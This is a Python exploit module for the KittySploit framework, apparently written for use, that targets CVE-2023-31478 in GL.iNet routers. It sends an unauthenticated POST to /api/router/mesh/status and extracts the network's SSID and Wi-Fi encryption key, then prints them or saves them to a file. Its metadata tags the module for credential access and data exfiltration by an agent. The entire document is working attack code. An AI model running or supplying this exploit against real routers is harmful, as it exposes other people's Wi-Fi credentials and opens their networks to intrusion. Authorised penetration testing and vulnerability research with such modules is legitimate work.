GL.iNET Wi-Fi Key Disclosure (CVE-2023-31478)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GL.iNET mesh status Wi-Fi key disclosure (CVE-2023-31478)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'GL.iNET Wi-Fi Key Disclosure (CVE-2023-31478)',
        'description': (
            'Exploits CVE-2023-31478 in GL.iNet routers <3.216: unauthenticated POST to '
            '/api/router/mesh/status leaks SSID and Wi-Fi encryption key.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-31478'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-31478'],
        'tags': ['gl-inet', 'router', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'tech_hints'],
            'chain': {'suggested_followups': ['scanner/http/cve_2023_31478_detect']},
        },
    }

    output_file = OptString('', 'Save JSON response locally', required=False)

    def check(self):
        r = self.http_request(
            method='POST',
            path='/api/router/mesh/status',
            data='mac=',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('"ssid":', '"encryption":')):
            return {'vulnerable': True, 'reason': 'GL.iNET mesh status leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'mesh/status leak failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('GL.iNET router not vulnerable')
            return False
        r = self.http_request(
            method='POST',
            path='/api/router/mesh/status',
            data='mac=',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True